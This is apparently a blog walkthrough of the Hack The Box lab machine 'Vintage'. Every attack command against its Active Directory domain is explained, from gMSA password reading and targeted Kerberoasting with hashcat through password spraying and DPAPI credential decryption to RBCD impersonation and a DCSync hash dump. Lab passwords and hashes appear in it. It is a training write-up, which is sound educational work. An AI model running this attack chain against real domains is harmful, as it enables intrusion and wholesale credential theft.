Welcome to the WhyWriteUps articles, where we explain every step we made and why we made it. I have been solving machines for quite a bit of time, and most of the walkthroughs I have ever read are just commands and I think that most of the people who are reading those walkthroughs do not understand the commands they are using, so I wanted to fix that. I want beginners to understand what they are doing and why they are doing it. | Hackthebox Vintage walkthrough
Press enter or click to view image in full size
Vintage is a hard difficulty Windows machine designed around an assumed breach scenario, where the attacker is provided with low-privileged user credentials. The machine features an Active Directory environment without ADCS installed, and NTLM authentication is disabled. There is a “Pre-Created computer account,” meaning the password is the same as the sAMAccountName of the machine account. The “Domain Computer” organisational unit (OU) has a configuration allowing attackers to read the service account password, which has gMSA configured. After obtaining the password, the service account can add itself to a privileged group. The group has complete control over a disabled user. The attacker is supposed to restore the disabled user and set a Service Principal Name (SPN) to perform Kerberoasting. After recovering the password, the user account has reused the same password. The newly compromised user has a password stored in the Credential Manager. The user can add itself to another privileged group configured for Resource-Based Constrained Delegation (RBCD) on the Domain Controller, allowing the attacker to compromise it.
We will start our enumeration by ping
command to check if the host is alive.
ping 10.10.11.4564 bytes from 10.10.11.45: icmp_seq=1 ttl=63 time=94.6 ms
We received a response, meaning the host is alive.
Now, let’s run nmap scan to see open ports.
nmap 10.10.11.45 -sVC -p- -min-rate=10000
Breakdown of command:
nmap
— Tool for network discovery.f
10.10.11.45
— IP address of target
-sVC
— Tells nmap to run service version enumeration and also other default scripts.
-p-
— Scan all ports.
-min-rate=10000
— No slower rate than 10000 packets per second (pretty fast)
Press enter or click to view image in full size
The nmap scan revealed plenty of open ports. Important ports are 88 for Kerberos
, 445 for SMB
and 5985 for WinRM
. The scan also revealed the domain name: vintage.htb
, plus the nmap scan revealed us the host name, which is most likely domain controller: DC01
, so we are going to add this to our /etc/hosts
file like this:
10.10.11.45 dc01.vintage.htb vintage.htb
The machine is built around an assumed breach, meaning they will give us the credentials for initial access: Username: p.rosa
Password: Rosaisbest123
.
Before doing any enumeration on the services, let’s just make sure the given credentials work.
netexec smb 10.10.11.45 -u p.rosa -p Rosaisbest123
Executing netexec
without any additional operational arguments will just check the credentials and give us the result back.
Press enter or click to view image in full size
We will face an error: STATUS_NOT_SUPPORTED
, meaning the type of authentication we are using (NTLM
) is not supported, and you can also see this configuration at the end of result: (NTLM:False)
. We can quickly fix this by using -k
option to tell netexec
to use kerberos
for authentication.
Press enter or click to view image in full size
Because we are using Kerberos authentication, we need to properly specify the hostname. With NTLM, it’s enough to connect using an IP address, but Kerberos works differently. When requesting a TGS for SMB, Kerberos needs the Service Principal Name (SPN), which is tied to the hostname — for example, cifs/dc01.vintage.htb
. If we provide the IP address (10.10.11.45
) or just the domain name (vintage.htb
), the KDC cannot issue a TGS for SMB because there are no SPNs registered as cifs/10.10.11.45
or cifs/vintage.htb
. That’s why we must use the fully qualified hostname of the SMB server (in this case, dc01.vintage.htb
, which we saw earlier in the Nmap scan).
netexec smb dc01.vintage.htb -u p.rosa -p Rosaisbest123 -k
Press enter or click to view image in full size
As you can see, it worked. Now, let’s enumerate the shares with the — shares
argument. We are just going to add this to the end of the command. It will also give us permissions for those shares.
netexec smb dc01.vintage.htb -u p.rosa -p Rosaisbest123 -k --shares
Press enter or click to view image in full size
We can not find any non-default SMB
share, we can also check the users of the domain, but we can not find anything useful here either. You can do that by using --users
instead of --shares
argument.
netexec smb dc01.vintage.htb -u p.rosa -p Rosaisbest123 -k --users
Now, best option here is to run bloodhound.
To see the full BloodHound installation tutorial, you can refer to this walkthrough (includes how to use it):
python3 bloodhound.py -u p.rosa -p 'Rosaisbest123' -d vintage.htb -c All -ns 10.10.11.45 --zip
When we are running BloodHound, we do not need to specifically mention the domain controller host name because BloodHound can enumerate it itself.
Breakdown of command:
python3 bloodhound.py
— Runs the BloodHound.py
script.
-u p.rosa
—The account we are authenticating to AD (Active Directory) as.
-p 'Rosaisbest123'
— We are providing a clear-text password for the username we specified earlier.
-d vintage.htb
— Domain name (Kerberos realm).
-c All
— Tells Bloodhound to enumerate all the things.
-ns 10.10.11.45
— Tells BloodHound.py
to use 10.10.11.45
as the DNS server for all lookups, instead of the system resolver (/etc/resolv.conf
). This is useful when the domain controller is also a DNS server (which is common in AD), because it lets BloodHound correctly resolve domain names and SRV records even if your Kali system doesn’t know about the AD DNS setup.
--zip
—Give me all the JSON
files inside one zip file.
Press enter or click to view image in full size
It will only take a few seconds to complete, and we will have a zip file to upload to the BloodHound legacy to analyze the data.
All the steps are shown in the walkthrough above. Analyzing the data we gathered, I could not really find anything interesting until I looked at Unrolled Group Membership
under Group membership
for user p.rosa
.
Press enter or click to view image in full size
The Pre–Windows 2000 Compatible Access
group is a default group in Active Directory used to maintain backward compatibility
with older Windows clients and applications (such as NT 4.0) that need to read AD data. By default, this group is usually empty in modern domains. If it contains members, those accounts may have broader read access to AD objects than intended. For example, in BloodHound
or ADUC
, you can check Direct Members
under Group Memberships
to see which accounts are in it. In our case we will see two members: Authenticated Users
and FS01.vintage.htb
, in our case we are more interested in FS01.vintage.htb
.
This is specifically interesting because the administrator might have created this computer account using Assign this account as a pre-Windows 2000 computer and add it to this group., If the administrator set this option to true while creating this computer account, the password for the computer account is set to the username of the computer account all in lowercase (without $), instead of being controlled by Kerberos and setting long passwords.
The administrator might not have created a new password for this computer account yet; let’s check this, but before, let’s quickly look at the distinguished name to use for.
Now, we know the distinguished name: FS01
, going to add the $ ourselves, let’s now check it with netexec
.
netexec smb dc01.vintage.htb -u fs01$ -p fs01 -k
Press enter or click to view image in full size
As you can see, it worked. The administrator really did not change the password for this computer account. Now the computer account does not have any ACE over other objects in the AD. Let’s look at what other group the FS01$
is in. We can do that by looking at First Degree Group Membership
under Group membership
.
We can see that the FS01
user is also a member of domain computers
group, and if we look at First Degree Object Control
under outbound object control
, we will see that members of the group have ReadGMSAPassword
ACE (Access Control Entry) over GMSA01$
user.
Explanation
Before starting to abuse this ACE (access control entry), let’s talk about what a GMSA (group managed service account) is. A GMSA is basically a service account that is mostly managed by AD itself, like setting up a long and strong password every 30 days. GMSA accounts are set for one service, like SQL Server or IIS. GMSA can be used by multiple machines, which means if one account that has access to start this service could not do it, the other host that has access to GMSA can start this service. When we know about GMSA, we should also know about the MSA (managed service account), which is just like GMSA, but it can only be started by one host.
The ReadGMSAPassword
is basically ACE (Access Control Entry) that allows us to read the password of the GMSA account that we have this ACE over.
We can use multiple tools to extract the NTLM hash of a password for user GMSA01$
, however the easiest one is bloodyAD
. But before it, let me show you how you can install this tool.
what is bloodyAD ?
bloodyAD can perform specific LDAP calls to a domain controller in order to perform AD privesc. It supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc.
Installation of bloodyAD
sudo apt install -y git python3 python3-pip
Before we clone the tool from GitHub, let’s install the prerequisites. After that.
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
Clone the repository and enter the directory, and install the required Python packages with pip3
. To do so, we need a Python environment.
pip3 install -r requirements.txt
Now, we can run it with bloodyAD -h
, or you can run the Python script with python3 bloodyAD.py -h
.
I have shown how to set up a Python environment in this walkthrough:
Now, once you are done with installing it, we should request TGT for the user FS01$
before using bloodyAD
, because we will be using Kerberos for authentication. We can do that with the impacket-getTGT
.
impacket-getTGT vintage.htb/FS01$:fs01 -dc-ip 10.10.11.45
Breakdown of command:
impacket-getTGT
— Using getTGT
script from impacket, its purpose is to request a TGT ticket from the domain controller.
vintage.htb/FS01$:fs01
— Giving username and password, including domain name.
-dc-ip 10.10.11.45
— Explicitly specifies the IP address of the domain controller to talk to.
If this command works successfully, we will get ccache
file.
Press enter or click to view image in full size
We successfully got it, now we are going to use it with bloodyAD
.
You can use this command to grab the NTLM password hash of user GMSA01$
.
KRB5CCNAME=FS01$.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k get object 'GMSA01$' --attr msDS-ManagedPassword
Breakdown of command:
KRB5CCNAME=FS01$.ccache
— specifying the ccache
file we want to use only for this command (the ticket we requested earlier).
bloodyAD
— The tool itself. It lets you query and manipulate AD over LDAP, Kerberos, or NTLM.
--host dc01.vintage.htb
— Tells bloodyAD which domain controller (DC) hostname to connect to.
-d vintage.htb
— Specifies the Active Directory domain name (fully qualified).
--dc-ip 10.10.11.45
— Specifies the IP address of the DC.
-k
—Means use Kerberos authentication instead of username/password.
get object 'GMSA01$'
— retrieving object from AD to take actions on it, it our case we are getting the GMSA01$
.
--attr msDS-ManagedPassword
— Requests a specific attribute from that object. msDS-ManagedPassword
— where AD stores password.
Press enter or click to view image in full size
We got the LM:NT
aad3b435b51404eeaad3b435b51404ee:6fa8a70cfb333b7f68e3f0d94b247f68
Let’s look at what the GMSA01$
account can do. If we look at First Degree Object Control
under outbound object control
, we will see that we have addself
and GenericWrite
ACEs over group servicemanagers
.
Meaning, we can add anyone into the group. Let’s add GMSA01$
into the group using bloodyAD
.
But before that, let’s request TGT for user GMSA01$
, just like we did for FS01$
but using a hash instead of a clear-text password. We are going to request it using this command:
impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:6fa8a70cfb333b7f68e3f0d94b247f68 -dc-ip 10.10.11.45
impacket-getTGT
— using getTGT
script from impacket, it’s purpose is to request TGT ticket from domain controller
vintage.htb/GMSA01$
— giving domain and username.
-hashes LM:NT
— giving NTLM hash of the password for user GMSA01$
.
-dc-ip 10.10.11.45
— Explicitly specifies the IP address of the Domain Controller to talk to.
If this command works successful, we will get ccache
file.
Press enter or click to view image in full size
As you can see, we successfully got the ccache
file for user GMSA01$
.
Now let’s use it with bloodyAD
to add the user GMSA01$
into the group.
KRB5CCNAME=GMSA01\$.ccache bloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember ServiceManagers 'GMSA01$'
Breakdown of command:
KRB5CCNAME=GMSA01\$.ccache
— specifying the ccache
file we want to use only for this command.
bloodyAD
— The tool itself. It lets you query and manipulate AD over LDAP, Kerberos, or NTLM.
-d vintage.htb
— Specifies the Active Directory domain name.
-k
— Tells bloodyAD to use Kerberos authentication (with the ticket from KRB5CCNAME
) instead of username/password.
--host dc01.vintage.htb
— Specifies the DC hostname bloodyAD
should connect to.
add groupMember ServiceManagers 'GMSA01$'
add
— performing add operations (including adding user to group)
groupMember
— What are we modifying, members of a specific group, meaning we want to add ourselves into the group.
ServiceManagers
— specifying the group we want to add our user GMSA01$
into.
'GMSA01$'
— the user we want to add into ServiceManagers
group.
Press enter or click to view image in full size
As you can see, we successfully added our user into the group. If we look at First Degree Object Control
under outbound object control
for group, ServiceManagers
we will see that we have GenericAll
over three users:
Press enter or click to view image in full size
The easiest attack we can do here is just change the password for these users, but we will see that those users do not have any ACE over any object in the domain, nor do they have any interesting membership. What I am guessing is we have to do something with their password.
Also noticed that the user svc_sql
is disabled.
We can enable the account with the bloodyAD
tool.
KRB5CCNAME=GMSA01\$.ccache bloodyAD --host dc01.vintage.htb -k -d vintage.htb remove uac svc_sql -f ACCOUNTDISABLE
Breakdown of command:
KRB5CCNAME=GMSA01$.ccache
— Tells bloodyAD to use the Kerberos ticket stored in GMSA01$.ccache
.
bloodyAD
— The tool itself. It lets you query and manipulate AD over LDAP, Kerberos, or NTLM.
--host dc01.vintage.htb
— Specifies the Domain Controller hostname to connect to.
-k
— Use Kerberos authentication.
-d vintage.htb
— Specifies the Active Directory domain name.
remove uac svc_sql -f ACCOUNTDISABLE
This is the actual AD operation:
remove
→ modify by removing a property/flag.
uac
→ stands for UserAccountControl (the bitmask that controls user account behaviors).
svc_sql
→ the target account (likely a service account).
-f ACCOUNTDISABLE
→ specifies which UAC flag to remove.
ACCOUNTDISABLE
means the account is disabled.
Removing it will enable the account again.
Press enter or click to view image in full size
But we are getting insufficientAccessRights
because the cchace
file we are using is an old one and does not contain the new rules yet. Let’s quickly request a new TGT for this user.
# removing old TGT tikcet
rm -rf 'GMSA01$.ccache'# requesting a new ticket
impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:6fa8a70cfb333b7f68e3f0d94b247f68 -dc-ip 10.10.11.45
# enabling svc_sql user
KRB5CCNAME=GMSA01$.ccache bloodyAD --host dc01.vintage.htb -k -d vintage.htb remove uac svc_sql -f ACCOUNTDISABLE
Press enter or click to view image in full size
Now let’s perform kerberoasting attack with targetedkerberoasting.py
.
If you want to know how kerberoasting attacks work, I would advise you to watch this video explained by the founder of the attack:
here is the tutorial for installation.
We are first going to clone the GitHub repository.
git clone https://github.com/ShutdownRepo/targetedKerberoasting.git
Then we should install the required Python packages with pip
, but to use pip
, we have to have a Python environment, which you can see how to set up in this walkthrough:
Then use this commands:
cd targetedkerberoast
pip install -r requirements.txt
After that we will be using this command to perform the attack.
KRB5CCNAME=GMSA01\$.ccache python3 targetedKerberoast.py -d vintage.htb -k --no-pass --dc-host dc01.vintage.htb
KRB5CCNAME=GMSA01\$.ccache
— specifying the ccache
file we want to use only for this command.
python3 targetedKerberoasting.py
— Runs the targetedKerberoast.py
script.
This script queries the DC for Kerberos service tickets (TGS) that can be used to crack passwords offline.
-d vintage.htb
— Specifies the Active Directory domain (Kerberos realm) we are attacking.
-k
— Tells the script to use Kerberos authentication
--no-pass
— Do not prompt for or require a password.
--dc-host dc01.vintage.htb
— Explicitly specifies the DC’s hostname.
Press enter or click to view image in full size
As you can see, we got hash for three users: svc_sql
, svc_ldap
and svc_ark
.
Issue Arose: If you got hash for only two users: svc_ldap
and svc_ark
, try to enable the svc_sql
account again and execute the script faster.
Let’s now find the correct hash mode number from hashcat to crack the hash.
hashcat -h | grep TGS
Breakdown of command:
hashcat -h
— printing hashcat help menu
|
— using vertical bar to pipe the output to the next command
grep TGS
— give me line that contains TGS
word
As you can see, this is hash KRB5TGS etype 23.
Press enter or click to view image in full size
We are going to pick the last one 13100
, because it’s etype 23.
Let’s now start cracking, we are going to start from the top: svc_sql
.
To do so, copy the hash like this and save it to file svc_sql_hash.txt
.
$krb5tgs$23$*svc_sql$VINTAGE.HTB$vintage.htb/svc_sql*$19b9eca116c43967bb2f8ffa24c11895$0d33ae7eab62bacdd00a5724fb5442ea175d31871053e98fc1938a6b2d9361b232e380f60f9ecc7d87a4064312c3622d18dbbb8dc9c921c62c9afd268d141908a34e393f736e23287fb73b42ff59068de288d205e17a78296f8f8f4f33c27c4e04d2cf31c9bf7cf7048b4f9c998fa884289a7435759ab0cf3bf88a2e55793113afc46a7c98b160e7f766aabde797dccc4e9202d169cb00068a79e70f26739a0fbec9360f6cad158ed4026b941edbbf8a6ba7e806a3b88740aec6b5db7bd51a286e483bbc58db5973a8fc6131b0d1a1a5293793ad7b5e511c1392d534254ff39e2ce916d4b73fbce9dfdd514bef914b1fbb5f03a944bccc63fb59e91cf5c38b6b875b324a7793ee7f049493dc0f3da416e01bca197d44ef2f7e870af32e39444444b00f4a4839d4594876655cf0b9057a23c3fe351a66829b89127dc5586fda55df22b16d93723aec232c53641de233853c5030bf6cb9301a160f0e37d4491e6dbfc7f9be449ba9204330894092bed79b4e89627d82fcd29c3c894caeff5b9e6b9eb6204740f40b2aed796dc21456b6c09a4f3a22e30ce1b98d9a40c0fa7b6bfd8d70a365519fc9f631b70c11f4488a39138419124092d99a325cd6cb1cf33967ca9808bd4ad48af028c0599cde3f77f3e953cddadcf3b7a0c5d1947cbfaf315868a57691c199519312efe7b72ecf12e46565cdaf7ca8255349bc27378982c31ed30423a5b85e2ffab4f48e8796ea3ed658e72f4405da83eeebb9c9002ad3bb3d9409db838ad1c92d4fdb22314f0822c5680b4badac0b250c5183c20d5499cfe9b2884c523b86993cda11916cb7b4020f9dabae0368b39ab57d117cb2db6eb42872d87f5aaa11258534f092bb4ba796e0e34a8409b9d9a3089346dd2a0b5d305b7fce454c5f5c3667008f3a7976c8a3a1c43404ab1f56a90871f927ced459352b19b699fea0c66749b8b7f60b19c217f5589beb83d371ff3df20f1df195ebcb188fb3ad595843c3b8f7ad7f988929ffeb46e15a5197fb959b8b8540e75833d0eeeda4dd9e1ed843251de111d14d1f085b3ce636c64c7ac28e3572a18de50bb955524dca336e671b6dfbe7069bf16ef058d307dfb31663fa223bdab6de86d63607aa22be80a28fdf935c3b449c6903a21bff8cc249770dd36c2734ae90914d3b0b0ef443894b33321c0b63e9fc07e88c9cbc272545810660425d6ba2ff759d9bda3c8e9a5a6ddf4c8fcd21b39f067a1eb3f7247451df2c4f2f256588d84e67564293efd50c05019b3d6c501fb2a0caef7cd290c12a565b31c33a082439ea67d8cb3a5764b2d81461cc6b80cfc14ddf0d06d1640839e882557f7e784c3fe38a6edfd8b2c79bf5fa81e2ace3d12830b9dbc562b5c7464575f29372673deb5f2edc9a98f96e660b8ff844fdaca17cbc4fb23dddd7ea8d1bea3632431f42cedb3648b8ab9327
We will use this command to crack it:
hashcat -m 13100 svc_sql_hash.txt /home/serenity/wordlists/rockyou.txt
Breakdown of command:
hashcat
— using powerful hash cracking tool.
-m 13100
— giving mode number we filtered earlier.
svc_sql_hash.txt
— Giving the file name that we saved the hash in.
/home/serenity/wordlists/rockyou.txt
— Using the famous rockyou.txt wordlist, which you can download from this link: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Press enter or click to view image in full size
Success, we cracked the first hash for user svc_sql
, password: Zer0the0ne
But if we try to crack the two other hashes, we will get this error:
Press enter or click to view image in full size
Exhausted
error which means Hashcat could not crack the hash with the given wordlist.
Now let’s check if the first credentials we found are correct with this command:
netexec smb dc01.vintage.htb -u svc_sql -p Zer0the0ne -k
Press enter or click to view image in full size
It worked!
Issue Arose: You might get an error like this. That is because the configuration of the box resets in a certain amount of time, making the svc_sql
disabled.
Press enter or click to view image in full size
Now, we can perform a password spraying attack. The user svc_sql
is controlled by users of servicemanagers
if the user who controls the svc_sql
uses the same password as for the manager user, we can take control of it. First, you should get all the users in the domain with this command:
netexec smb dc01.vintage.htb -u p.rosa -p Rosaisbest123 -k --users
Then copy users starting from M.Rossi
till the end.
Press enter or click to view image in full size
Save it to a file named users.txt
. And we will use this command to get only the usernames.
awk '{print $5}' users.txt
Breakdown of command:
awk
— powerful text-processing tool.
'{print $5}'
— print 5th column
users.txt
— the file name that we saved the columns in.
Press enter or click to view image in full size
Now that we’ve got all the usernames, let’s save them to usernames.txt
file.
Press enter or click to view image in full size
We are going to perform a password spray attack using this command.
netexec smb dc01.vintage.htb -u usernames.txt -p 'Zer0the0ne' -k
We are giving usernames.txt
which contains the usernames we extracted earlier, and the netexec
just try to authenticate with each of those usernames using the password: Zer0the0ne
.
Press enter or click to view image in full size
We will see that the user C.Neri
uses the password Zer0the0ne
password, the same as svc_sql
. We predicted it correctly, and we can see that the user C.neri
is member of ServiceManagers
.
Press enter or click to view image in full size
We can see this by clicking on Direct Members
under group members
for ServiceManagers
group.
Searching the user in Bloodhound, we found that it is a member of Remote Management Users
, it most likely contains user.txt
.
Press enter or click to view image in full size
We can see that by clicking on First Degree Group Membership
under Group Membership
.
We will be using the Kerberos client tool to get a ticket. You can install this tool using this command if you do not have it already.
sudo apt install krb5-user
This installation also gives us the file /etc/krb5.conf
which we can edit as we want. The /etc/krb5.conf
file contains configurations for things like which domain to connect to, their IP addresses, and more, so when we get a new target, we have to change it. Let’s configure the file forwarding it to vintage.htb
.
sudo nano /etc/krb5.conf
This command uses nano
tool to open the configuration file, you can change it to vim
or another tool if you want.
Press enter or click to view image in full size
Changing the configuration to this, first default_realm
, requires a default domain name for usages like formatting user [email protected]
, the kdc
and admin_server
requires us to give the IP address of the domain controller. We can change this to vintage.htb
or dc01.vintage.htb
, but it is the same as giving IP because it will still resolve to IP address by our /etc/hosts
.
We do not need to change other things, now exit the nano
with CTRL+x
+ y
+ Enter
, this will save the new configurations.
Now let’s request a ticket for the user c.neri
with this command:
kinit c.neri
Password:Zer0the0ne
This will go to /etc/krb5.conf
and get the needed information and request us the TGT ticket for user c.neri
.
Press enter or click to view image in full size
We will provide the password Zer0the0ne
when asked for.
This command will not return any result, but we can check if we got the ticket using this command.
klist
This command will list the Kerberos credential cache, it’s like KRB5CCNAME
showing what we can use now and where it is.
Press enter or click to view image in full size
As you can see, we have the ticket we requested earlier, now we can connect to WinRM
without any credentials, only using the ticket. To do so, we will be using this command.
evil-winrm -i dc01.vintage.htb -r vintage.htb
Breakdown of command:
evil-winrm
— the tool itself, a Ruby-based WinRM shell for Windows remote management.
-i dc01.vintage.htb
— the target host we are trying to connect (domain controller).
-r vintage.htb
— the domain name we are trying to connect.
When we do not give anything to Evil-winrm
, it will start looking for default places for ticket saving, like /tmp/krb5cc_<UID>
or the system environment KRB5CCNAME
, and connect automatically.
Press enter or click to view image in full size
We successfully connected to WinRM
using the ticket we requested earlier, and we can access user.txt
in C:\Users\C.Neri\Desktop\
.
I could not find anything interesting in BloodHound for this user.
DPAPI (Data Protection Application Programming Interface). When a user saves credentials in RDP or saves Windows Vault, and more, they are usually encrypted with the DPAPI master key and saved to a file. Those saved credentials are accessible by our user because they’re ours, but we can get other user credentials if the user has used other credentials and saved them.
We have a master key, which is the key that was used to encrypt the credential file.
We also have credential files, which store credentials that are encrypted with a master key. If we have the master key, we can decrypt the credential files.
Those are locations of the master key and credential files
Master key
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\<SID>\
Credential files
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\
Let’s check these directories, but we will be using ls -force
command instead of just ls
, because those files are usually hidden, and -force
option shows us the hidden files.
Let’s first access the master key.
Press enter or click to view image in full size
As you can see, we can access the master keys, but there are two of them.
We are going to try both of those master keys, but before that, let’s download the files into our local host, using download
function in evil-winrm
shell will fail.
Press enter or click to view image in full size
We are going to transfer the files using base64.
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\users\c.neri\appdata\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847'))
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\users\c.neri\appdata\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b'))
We are basically converting the binary file into a base64 string, and we are going to copy the base64 strings and paste them into a file inside our local host. Those two commands above should give you two base64 strings, both of those are master keys.
Press enter or click to view image in full size
Now let’s copy it and save it to files masterkey1.base64
and masterkey2.base64
. Once you are done with transforming, let’s decrypt it with those commands:
cat masterkey1.base64 | base64 -d > masterkey1
cat masterkey2.base64 | base64 -d > masterkey2
Breakdown of command:
cat masterkey1.base64
—Reading the base64 string.
|
— Using a vertical bar to pipe the output into the next command.
base64 -d > masterkey1
— decrypting the output with base64
built-in tool and forwarding the output into masterkey1
file.
Now let’s do the same with the credential file, which is located here:
C:\users\c.neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6
Make it base64.
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\users\c.neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6'))
I saved the base64 string in credential.base64
file.
Now let’s decrypt it and forward it into another file.
cat credential.base64 | base64 -d > credential
Now we will be using impacket-dpapi
from impacket, which you already installed, I am hoping. If not, you can see how to in this walkthrough:
impacket-dpapi masterkey -file masterkey1 -password 'Zer0the0ne' -sid S-1-5-21-4024337825-2033394866-2055507597-1115
Breakdown of command:
impacket-dpapi
— The Impacket tool for working with Microsoft DPAPI artifacts. It provides helpers to decrypt DPAPI master keys, credential blobs, etc.
masterkey
— A subcommand of impacket-dpapi
that tells the tool “operate on a DPAPI master key file”.
-file <file name>
— specifies the master key file you want to process.
-password 'Zer0the0ne'
— The master key is also encrypted with a key that is derived from the user’s password. So the password is needed to get the master key.
-sid
— Giving the SID that belongs to the user the master key belongs to, you can get this from BloodHound or just from the directory name that the master key is inside.
Press enter or click to view image in full size
As you can see, we got the first master key. Let’s do it for the second master key too, and note both keys because we are going to need them to decrypt the credential file.
Press enter or click to view image in full size
Now let’s try to decrypt the credential file with both of those master keys.
impacket-dpapi credential -file credential -key 0x55d51b40d9aa74e8cdc44a6d24a25c96451449229739a1c9dd2bb50048b60a652b5330ff2635a511210209b28f81c3efe16b5aee3d84b5a1be3477a62e25989f
Breakdown of command:
impacket-dpapi credentials
— The Impacket DPAPI tool again, but this time with the credential
subcommand. Subcommand that tells the tool you’re targeting a DPAPI Credential Blob
-file <file_name>
— specifies the credential file you want to process.
-key <key>
— The master key to decrypt the file.
Trying it with the second master key (99cf41a3-a552–4cf7-a8d7-aca2d6f7339b
) works, and we will get a password for another user:
Press enter or click to view image in full size
Let’s check if the saved credentials are correct with netexec
.
netexec smb dc01.vintage.htb -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k
Press enter or click to view image in full size
Let’s look at BloodHound again to see what we have for user c.neri_adm
user.
If we look at First Degree Object Control
under outbound object control
for user c.neri_adm
, we will see that we have addself
and GenericAll
ACEs over group delegatedadmins
, meaning we can add anyone into the group.
But the delegatedadmins
group does not have any ACE. If we click at Shortest Paths to High Value Targets
under analysis
and click on the vintage.htb
, we will see some interesting ACE, and the one that is related to the group we want is this:
We can see that the group members have AllowedToAct
permission over DC01.vintage.htb
machine. This is attribute-based ACE, which is why we could not see it when clicked on First Degree Object control
, this option will only show DACL-based ACEs.
Basically, this AllowedToAct
ACE allows us to impersonate any user in the domain, but only for the machine services that we have this ACE over, but in our case it’s dc01.vintage.htb
, which is domain controller, which is already domain compromise right here.
You can learn more about this attack from here:
If you look at First Degree Object Control
for DC01.vintage.htb
machine, you will see that the machine has DCSync
ACE over the domain, which allows us to perform a DCSync attack on this domain.
DCSync is a technique for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol
, which is used by Domain Controllers to replicate domain data. This allows an attacker to mimic a Domain Controller to retrieve user NTLM password hashes.
The crux of the attack is requesting a Domain Controller to replicate passwords via the DS-Replication-Get-Changes-All
extended right. This is an extended access control right within AD, which allows for the replication of secret data.
To perform this attack, you must have control over an account that has the rights to perform domain replication (a user with the Replicating Directory Changes and Replicating Directory Changes All permissions set). Domain/Enterprise Admins and default domain administrators have this right by default.
But first let’s add our user FS01
, we are choosing this account because it's a computer account, and computer accounts contain SPN by default. To impersonate a user, we will be using the S4U service, which requires us to be a service account (contains SPN). Let's add this user into the delegatedadmins
group, let’s request a ticket for c.neri_adm
, and add the FS01$
into the delegatedadmins
group. After that we will impersonate DC01$
computer account to perform DCSync
attack.
kinit c.neri_admin
Password:Uncr4ck4bl3P4ssW0rd0312
After we successfully get the ticket, we can use it with bloodyAD
.
You can check if with klist
command.
KRB5CCNAME=/tmp/krb5cc_1000 bloodyAD -d vintage.htb -k --host dc01.vintage.htb -k add groupMember DelegatedAdmins 'fs01$'
Breakdown of command:
KRB5CCNAME=/tmp/krb5cc_1000
— Specifying the ticket location we requested earlier. Using the ticket for only this command.
bloodyAD
— The tool itself. It lets you query and manipulate AD over LDAP, Kerberos, or NTLM.
-d vintage.htb
— Specifies the Active Directory domain name.
-k
— Tells bloodyAD to use Kerberos authentication (with the ticket from KRB5CCNAME
) instead of username/password.
--host dc01.vintage.htb
— Specifies the DC hostname bloodyAD
should connect to.
add groupMember DelegatedAdmins 'fs01$'
add
— performing add operations (including adding user to group)
groupMember
— What are we modifying, members of a specific group, meaning we want to add ourselves into the group.
DelegatedAdmins
— specifying the group we want to add our user fs01$
into.
'fs01$'
— the user we want to add into DelegatedAdmins
group.
Press enter or click to view image in full size
Now, let’s get TGT for fs01$
and get TGS (for SMB service) for the domain computer dc01$
.
kinit fs01$
Password:fs01
After that, let’s request TGS for dc01$
computer account using getST.py
from impacket. The purpose of the script is to request TGS.
getST.py -spn 'cifs/dc01.vintage.htb' -impersonate 'dc01$' 'vintage.htb/fs01$:fs01' -dc-ip dc01.vintage.htb
Breakdown of command:
getST.py
— script from impacket. It requests a Service Ticket (TGS) from the KDC.
-spn 'cifs/dc01.vintage.htb'
— SPN (Service Principal Name) you want a ticket for. Basically requesting TGS for SMB from domain controller
-impersonate 'dc01$'
— Asking DC (Domain controller) to give TGS for dc01$
, not for our own user.
'vintage.htb/fs01$:fs01'
— This is the credentials we are authenticate with
-dc-ip dc01.vintage.htb
— Tells the tool which Domain Controller IP/hostname to talk to directly.
This should give us ccache
file.
Press enter or click to view image in full size
We got the ticket, now let’s perform a DCSync attack with this TGS. We are going to use secretsdump.py
from impacket. Usually a DCSync attack is performed through the LDAP service, but we can also do it with SMB
which uses pipes through shares to request the extracted information.
KRB5CCNAME=dc01\$@[email protected] secretsdump.py 'vintage.htb/[email protected]' -dc-ip dc01.vintage.htb -k -no-pass
Breakdown of command:
KRB5CCNAME=dc01\$@[email protected]
— giving the TGS ticket we requested earlier to authentication.
secretsdump.py
— using Impacket tool that dumps secrets (NTDS.dit, LSA, SAM hashes, etc.) remotely from a DC.
'vintage.htb/dc01$dc01.vintage.htb'
— This is the target format, giving to connect to what machine in the domain.
-dc-ip dc01.vintage.htb
— Specifies the IP/hostname of the Domain Controller to use.
-k
— Tells secretsdump
to use Kerberos authentication instead of NTLM.
-no-pass
— Prevents secretsdump
from prompting for a password.
Press enter or click to view image in full size
As you can see, we got hash for all users in the domain. Let’s request TGT for administrator using the hash we extracted.
impacket-getTGT vintage.htb/[email protected] -hashes :468c7497513f8243b59980f2240a10de
Press enter or click to view image in full size
We are going to give the NT hash in this part of extracted hashes (shown in the image).
Press enter or click to view image in full size
impacket-getTGT vintage.htb/[email protected] -hashes :468c7497513f8243b59980f2240a10de
Explained this command above when requesting a ticket for GMSA01$
.
[email protected] evil-winrm -i dc01.vintage.htb -r vintage.htb
We are just giving ticket specifically for evil-winrm, nothing complicated.
But we will face an error
Press enter or click to view image in full size
Let’s check the credentials with netexec
.
